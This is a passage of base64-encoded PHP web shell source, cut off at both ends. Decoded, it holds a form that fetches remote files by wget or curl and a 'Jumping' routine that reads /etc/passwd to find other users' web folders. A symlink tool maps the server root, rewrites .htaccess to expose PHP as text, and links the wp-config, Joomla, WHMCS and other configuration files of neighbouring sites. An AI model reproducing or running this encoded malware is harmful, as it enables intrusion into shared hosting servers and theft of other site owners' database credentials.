hYmxlPjwvZm9ybT48dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij48dHI+PHRoIGNvbHNwYW49IjIiPjxiPlVwbG9hZCBGcm9tIFVSTDwvYj48L3RoPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIj48Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjA7IiBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXVwbG9hZCI+Cjx0YWJsZT48dHI+PHRkPlVybDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPgo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwd2Q7ID8+IiAvPjwvdGQ+PC90cj4KPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPjxvcHRpb24gdmFsdWU9Ind3Z2V0Ij5XZ2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2x5bngiPkx5bng8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPkZyZWFkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5GZXRjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndsaW5rcyI+TGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Z2V0Ij5HZXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Q3VybDwvb3B0aW9uPgo8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+CjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD89JG1zZzsgPz48L2Rpdj4KPD9waHAgfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqdW1waW5nJykpeyBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+SnVtcGluZzwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7Cj8+CiAgICA8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+Jng9anVtcGluZyIgbWV0aG9kPSJwb3N0Ij4KICAgIDw/cGhwCiAgICBlY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgCigkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/IAokc20gPSAnb2ZmJzogZGllKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOzogJm5ic3A7Jm5ic3A7U2FmZV9tb2RlID0gT24gPC9iPjwvdGQ+PC90cj48L3RhYmxlPiIpOwogCnNldF90aW1lX2xpbWl0KDApOwplY2hvICI8dGFibGUgY2xhc3M9XCJjbWRib3hcIj48dHI+PHRkIGNvbHNwYW49XCIyXCI+IjsgIApAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgCmlmICghJHBhc3N3ZCkgeyBkaWUgKCI8Yj48Ymxpbms+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPlstXSBFUlJPUjwvZm9udD48L2JsaW5rPiZuYnNwOyA6ICZuYnNwOyZuYnNwOyBJIENhbid0IFJlYWQgWyAvZXRjL3Bhc3N3ZCBdPC9iPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PGJyPjxicj48YnI+PGNlbnRlcj48ZGl2IGNsYXNzPVwiaW5mb1wiPjxiPjwvZGl2PiAKPGJyPjxicj48ZGl2IGNsYXNzPVwiamF5YVwiPiAmY29weTsgIi5kYXRlKCdZJyx0aW1lKCkpLiIgU2VjdXJpdHkgRXhwbG9kZWQgPC9iPjwvZGl2PjwvY2VudGVyPiIpOyB9CiRwdWIgPSBhcnJheSgpOyAKJHVzZXJzID0gYXJyYXkoKTsgCiRjb25mID0gYXJyYXkoKTsgCiRpID0gMDsgCgp3aGlsZSghZmVvZigkcGFzc3dkKSl7IAokc3RyID0gZmdldHMoJHBhc3N3ZCk7IAppZiAoJGkgPiAxMDApeyAkcG9zID0gc3RycG9zKCRzdHIsJzonKTsgCiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7IAokZGlyeiA9ICcvaG9tZS8nLiR1c2VybmFtZS4nL3B1YmxpY19odG1sLyc7IAppZiAoKCR1c2VybmFtZSAhPSAnJykpeyBpZiAoaXNfcmVhZGFibGUoJGRpcnopKXsgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsgCmFycmF5X3B1c2goJHB1YiwkZGlyeik7IH0gfSB9ICRpKys7IH0gCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcil7IAplY2hvICcKPHRhYmxlPjx0cj48dGQ+W0ZvdW5kICFdPC90ZD4KICAgIDx0ZD48YSBocmVmPSI/eT0vaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwiPi9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC88L2E+PHRkPjwvdHI+JzsgfSAKIGVjaG8gIjwvdGFibGU+IjsKIH0gCgoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3N5bWxpbmsnKSkKeyAgIEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCmVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5NdWx0aSBUb29sIFN5bWxpbms8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwo/Pgo8Zm9ybSBhY3Rpb249Ij95PTw/PSRwd2Q7ID8+JmFtcDt4PXN5bWxpbmsiIG1ldGhvZD0icG9zdCI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+PGNlbnRlcj48dGFibGUgY2xhc3M9J3RhYm5ldCc+PHRyPjx0aCBjb2xzcGFuPSc1Jz48Yj5NdWx0aSBUb29sIFN5bWxpbms8L2I+PC90aD48L3RyPjx0cj48dGg+PGI+TWFudWFsIFN5bWxpbms8L2I+PC90aD48dGg+PGI+QXV0byBTeW1saW5rPC9iPjwvdGg+PHRoPjxiPkRvbWFpbiBWaWV3ZXI8L2I+PC90aD48L3RyPjx0cj48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCduYW1lPSdzeW1saW5rcicgdmFsdWU9Ik1hbnVhbCBTeW1saW5rIiAvPjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnbmFtZT0nc3ltbGlua3MnIHZhbHVlPSJBdXRvIFN5bWxpbmsiIC8+PC90ZD48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nZG9tYWluJyB2YWx1ZT0iRG9tYWluIFZpZXdlciIgLz48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj48L2Zvcm0+PGJyPjxocj48YnI+PGJyPgo8P3BocCAKCiM9PT09PT09PT09PT09PT09PT1bIE11bHRpIFRvb2wgU3ltbGluayBdPT09PT09PT09PT09PT09PT09IwoKaWYoaXNzZXQoJF9QT1NUWydkb21haW4nXSkpCnsKICAgPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1kdiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxjZW50ZXI+PGgyPlsgRG9tYWluIFZpZXdlciBieSBdPGJyPk5vdGVzOiBJZiBCbGFuayhObyBEb21haW4pIFRoYXQgTWVhbiBOb3QgV29yayBVc2UgRG9tYWluIFZpZXdlciwgWW91IENhbiBVc2UgQXV0byBTeW1saW5rIFNlcnZlcjwvY2VudGVyPjxicj48YnI+CiAgICA8P3BocAogICAgZnVuY3Rpb24gb3BlbkJhc2VEaXIoKQp7CiRvcGVuQmFzZURpciA9IGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwppZiAoISRvcGVuQmFzZURpcikKICAgIHsKICAgICAgICAkb3BlbkJhc2VEaXIgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKICAgIH0KICAgIGVsc2UgCiAgICB7CiAgICAgICAgJG9wZW5CYXNlRGlyID0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7CiAgICB9ICAgIAogICAgcmV0dXJuICRvcGVuQmFzZURpcjsKfQoKCmVjaG8gJwogICAgPHRhYmxlIHdpZHRoPSI5NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgY2xhc3M9InRkMSIgPgogICAgPHRkIGhlaWdodD0iMTAwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRkMSI+JzsKICAgICRwZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsKICAgICRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiAgICAkZGlyID0gQGdldGN3ZCgpOwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgLy8gTEVUJ1MgUExBWSB+CiAgICAjIy5odGFjY2VzcwpAbWtkaXIoJ2V4cGxvZGVkc3ltJywwNzc3KTsKQHN5bWxpbmsoIi8iLCJleHBsb2RlZHN5bS9yb290Iik7CiRodGFjY3NzID0gIk9wdGlvbnMgYWxsIAogRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnkiOwogCmZpbGVfcHV0X2NvbnRlbnRzKCJleHBsb2RlZHN5bS8uaHRhY2Nlc3MiLCRodGFjY3NzKTsKJGV0YyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3Bhc3N3ZCIpOwokZXRjeiA9IGV4cGxvZGUoIlxuIiwkZXRjKTsKCgojI1N5bWxpbmsgdG8gdGhlIFJPT1QgOnAKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKZXJyb3JfcmVwb3J0aW5nKDApOwoKJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7CiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOwoKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93cC1jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9ibG9nL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dwL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvd3AtY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1QaHBCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9pbmNsdWRlcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLXZCdWxsZXRpbi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd2ViL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLUpvb21sYS50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NvbmZfZ2xvYmFsLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1JUEIudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jL2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictTXlCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9TZXR0aW5ncy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictU01GLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLURydXBhbC50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9lMTA3X2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictZTEwNy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kYXRhcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVNlZGl0aW8udHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1vc0NvbW1lcmNlLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3N1cHBvcnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kb21haW4vY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvZG9tYWlucy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgaWYoaXNfcmVhZGFibGUoIi92YXIvbmFtZWQiKSl7CiAgICBlY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKICAgIGVjaG8nPHRyPjx0ZD48Y2VudGVyPjxiPlNJVEU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+CiAgICA8Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD4KICAgIDx0ZD48L2NlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKICAgICRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwogICAgZm9yZWFjaCgkbGlzdCBhcyAkZG9tYWluKXsKICAgIGlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiAgICAkaSArPSAxOwogICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOwogICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwoKICAgIGVjaG8gIjx0cj48dGQgY2xhc3M9J3RkMSc+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iICc+Ii4kZG9tYWluLiI8L2E+PC90ZD4KICAgIDx0ZCBjbGFzcz0ndGQxJz48Y2VudGVyPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgogICAgPHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGEgaHJlZj0nZXhwbG9kZWRzeW0vcm9vdCIuJG93bmVyWydkaXInXS4iLyIuJGRpclszXS4iJyB0YXJnZXQ9J19ibGFuayc+RElSPC9hPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8Y2VudGVyPlRvdGFsIERvbWFpbnMgRm91bmQ6ICIuJGkuIjwvY2VudGVyPjxiciAvPiI7CiAgICB9ZWxzZXsgCiAgICBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvdmFyL25hbWVkIF08L3RkPjx0cj4iOyB9CgpicmVhazsKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZXJyb3JfcmVwb3J0aW5nKDApOwokZXRjID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvcGFzc3dkIik7CiRldGN6ID0gZXhwbG9kZSgiXG4iLCRldGMpOwppZihpc19yZWFkYWJsZSgiL2V0Yy9wYXNzd2QiKSl7CgplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKCiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwoKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKCmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7CmlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiRkb21haW4gPSBzdHJfcmVwbGFjZSgnLmRiJywnJywkZG9tYWluKTsKJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwppZigkb3duZXJbJ25hbWUnXSA9PSAkZXRjY1swXSkKewokaSArPSAxOwplY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIiAnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PGNlbnRlcj4KPHRkIGNsYXNzPSd0ZDEnPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9J3RkMSc+PGNlbnRlcj48YSBocmVmPSdleHBsb2RlZHN5bS9yb290Ii4kb3duZXJbJ2RpciddLiIvIi4kZGlyWzNdLiInIHRhcmdldD0nX2JsYW5rJz5ESVI8L2E+PC9jZW50ZXI+PC90ZD4iOwp9fX19CmVjaG8gIjxjZW50ZXI+VG90YWwgRG9tYWlucyBGb3VuZDogIi4kaS4iPC9jZW50ZXI+PGJyIC8+Ijt9CgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwppZihpc19yZWFkYWJsZSgiL2V0Yy9uYW1lZC5jb25mIikpewplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PC9jZW50ZXI+PGI+U1lNTElOSzwvYj48L2NlbnRlcj48L3RkPic7CiRuYW1lZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKcHJlZ19tYXRjaF9hbGwoJyV6b25lIFwiKC4qKVwiIHslJywkbmFtZWQsJGRvbWFpbnMpOwpmb3JlYWNoKCRkb21haW5zWzFdIGFzICRkb21haW4pewokZG9tYWluID0gdHJpbSgkZG9tYWluKTsKJGkgKz0gMTsKJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwplY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIiAnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGZvbnQgY29sb3I9J3JlZCc+Ii4kb3duZXJbJ25hbWUnXS4iPC9mb250PjwvY2VudGVyPjwvdGQ+PHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGEgaHJlZj0nZXhwbG9kZWRzeW0vcm9vdCIuJG93bmVyWydkaXInXS4iLyIuJGRpclszXS4iJyB0YXJnZXQ9J19ibGFuayc+RElSPC9hPjwvY2VudGVyPjwvdGQ+IjsKfQplY2hvICI8Y2VudGVyPlRvdGFsIERvbWFpbnMgRm91bmQ6ICIuJGkuIjwvY2VudGVyPjxiciAvPiI7Cgp9IGVsc2UgeyBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXTwvdGQ+PC90cj4iOyB9CgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwppZihpc19yZWFkYWJsZSgiL2V0Yy92YWxpYXNlcyIpKXsKZWNobyc8dGFibGUgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIxIiB3aWR0aD0iNDUlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjQiIGNsYXNzPSJ0ZDEiPic7CmVjaG8nPHRyPjx0ZD48Y2VudGVyPjxiPlNJVEU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+CjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48L2NlbnRlcj4KPGI+U1lNTElOSzwvYj48L2NlbnRlcj48L3RkPic7CiRsaXN0ID0gc2NhbmRpcigiL2V0Yy92YWxpYXNlcyIpOwpmb3JlYWNoKCRsaXN0IGFzICRkb21haW4pewokaSArPSAxOwokb3duZX